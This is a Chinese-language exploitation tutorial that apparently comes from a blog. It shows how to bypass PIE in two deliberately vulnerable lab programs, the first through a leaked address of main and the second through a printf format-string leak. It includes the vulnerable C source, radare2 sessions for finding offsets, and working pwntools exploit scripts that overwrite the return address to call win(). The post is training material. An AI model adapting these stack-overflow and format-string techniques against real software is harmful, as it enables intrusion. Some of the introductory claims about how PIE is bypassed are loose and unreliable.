pie绕过
pie
PIE(Position Independent Executable,可移植执行码)是一种特殊的执行文件格式,常用于保护程序执行空间的受限和安全性。使用 PIE 能够让加载到内存的代码不会固定地映射到特定的地址,每次加载时都能让其他程序更难预测它想要加载到哪里。
代码重定位的例子有:加载时技术(load-time relocation)、运行时重定位(runtime relocation);在 Windows 中,还包括延迟加载(delay-load)、安全重定位(safe relocation)和编译/连接时重定位(compile/link-time relocation)等。
要绕过 PIE,可以使用静态地址访问(static address access),即直接使用实际的、与特定页面关联的地址去访问代码段映射的内存空间。此外,也可以使用类似 RET2LIBC 的攻击来访问已知的库函数并执行 System Call 来获取系统权限。
漏洞程序: 主动泄漏绝对地址
vuln.c
// gcc vuln.c -o vuln -fno-stack-protector -z noexecstack -m32
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
printf("Main Function is at: %lp\n", main);
gets(buffer);
}
void win() {
puts("PIE bypassed! Great job :D");
}
利用分析
- ret距离
- get de luijin sequences
─$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
- get ret’s offset in stack
0xf7fe4450]> dc
Main Function is at: 0x565561ad
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[+] SIGNAL 11 errno=0 addr=0x41414c41 code=1 si_pid=1094798401 ret=0
[0x41414c41]> wopO 0x41414c41
32
so the offset is 32
- get win’s address
- get main’s address
elf = context.binary = ELF('./vuln')
p = process
p.recvuntil(b'at: ')
main_addr = int(p.recvline(),16)
- get win’s address
elf.address = main_addr - elf.sym['win']
win_address = elf.sym['win']
- build payload
payload = flat('A'*32, win_address)
pwn code
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
# get main's absolute address
p.recvuntil('at: ')
main = int(p.recvline(),16)
# set elf base address
elf.address = main - elf.sym['main']
# set payload
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
log.info(p.recvline().decode('latin-1'))
pwn result
─$ python exploit.py
[*] '/home/kali/exploits/pie/32/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process '/home/kali/exploits/pie/32/vuln': pid 1952115
[*] PIE bypassed! Great job :D
[*] Stopped process '/home/kali/exploits/pie/32/vuln' (pid 1952115)
漏洞程序:printf泄漏地址
vuln.c
// gcc source.c -o vuln-64 -fno-stack-protector -z noexecstack
#include <stdio.h>
void vuln() {
char buffer[20];
printf("What's your name?\n");
gets(buffer);
printf("Nice to meet you ");
printf(buffer);
printf("\n");
puts("What's your message?");
gets(buffer);
}
int main() {
vuln();
return 0;
}
void win() {
puts("PIE bypassed! Great job :D");
}
利用分析
- printf(buffer)获取返回地址
[0x555555555169]> db 0x5555555551a0
[0x555555555169]> dc
What's your name?
%p %p %p %p %p
hit breakpoint at: 0x5555555551a0
[0x5555555551a0]> dc
Nice to meet you 0x555555556016 (nil) (nil) 0x5555555596bf (nil)
What's your message?
ret = 0x555555556016 2. 计算偏移地址
[0x7ffff7ea12b9]> i~baddr
baddr 0x555555554000
offset = 0x555555556016 - 0x555555554000 == 0x2016 3. 定位rip
└─$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
0x7ffff7fe59c0]> dc
What's your name?
%p
Nice to meet you 0x555555556016
What's your message?
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
[+] SIGNAL 11 errno=0 addr=0x00000000 code=128 si_pid=0 ret=0
[0x5555555551e2]> dr
rax = 0x7fffffffe2e0
rbx = 0x7fffffffe428
rcx = 0x7ffff7f9fa80
rdx = 0x00000001
r8 = 0x555555559715
r9 = 0x00000000
r10 = 0x7ffff7ddae00
r11 = 0x00000246
r12 = 0x00000000
r13 = 0x7fffffffe438
r14 = 0x555555557dd8
r15 = 0x7ffff7ffd020
rsi = 0x00000001
rdi = 0x7ffff7fa1a20
rsp = 0x7fffffffe308
rbp = 0x4e41414d41414c41
rip = 0x5555555551e2
rflags = 0x00010206
orax = 0xffffffffffffffff
[0x5555555551e2]> wopO `dr rbp`
32
rip_offset = rbp_offset + 8 = 40
pwn code
from pwn import *
elf = context.binary = ELF('./vuln-64')
p = process()
p.recvuntil('name?\n')
p.sendline('%p')
p.recvuntil('you ')
elf_leak = int(p.recvline(), 16)
elf.address = elf_leak - 0x2016
payload = b'A' * 40
payload += p64(elf.sym['win'])
p.recvuntil('message?\n')
p.sendline(payload)
print(p.clean().decode())
pwn result
─$ python exploit-64.py
[*] '/home/kali/exploits/pie/fmt64/vuln-64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process '/home/kali/exploits/pie/fmt64/vuln-64': pid 1952320
PIE bypassed! Great job :D
- 原文作者:winsun
- 原文链接:https://winsun.github.io/fightsec/post/pwn_18_bypass_pie/
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。